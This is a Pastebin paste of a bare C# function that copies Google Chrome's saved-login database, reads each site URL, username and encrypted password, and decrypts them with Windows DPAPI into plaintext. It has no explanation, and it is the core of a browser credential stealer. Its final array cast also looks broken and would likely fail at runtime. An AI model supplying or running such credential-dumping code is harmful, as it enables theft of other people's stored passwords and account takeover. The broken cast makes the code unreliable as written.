Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private static ChromeCredential[] GetPasswords(string pathToPasswordsFile)
- {
- if (!File.Exists(pathToPasswordsFile))
- {
- return null;
- }
- string tempFile = Path.GetTempFileName();
- File.Copy(pathToPasswordsFile, tempFile);
- ArrayList result = new ArrayList();
- using (SQLiteConnection conn = new SQLiteConnection("Data Source=" + tempFile + ";Version=3;New=True;Compress=True;"))
- {
- conn.Open();
- using (SQLiteCommand comm = conn.CreateCommand())
- {
- comm.CommandText = "SELECT origin_url, username_value, password_value FROM logins";
- using (SQLiteDataReader reader = comm.ExecuteReader())
- {
- while (reader.Read())
- {
- string originUrl = (string)reader["origin_url"];
- string username = (string)reader["username_value"];
- string password;
- try
- {
- password = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.CurrentUser));
- }
- catch (Exception ex)
- {
- password = "Password could not be retrieved: " + ex.Message;
- }
- result.Add(new ChromeCredential(originUrl, username, password));
- }
- }
- }
- }
- try
- {
- File.Delete(tempFile);
- }
- catch
- {
- }
- return (ChromeCredential[])result.ToArray();
- }
- }
Add Comment
Please, Sign In to add comment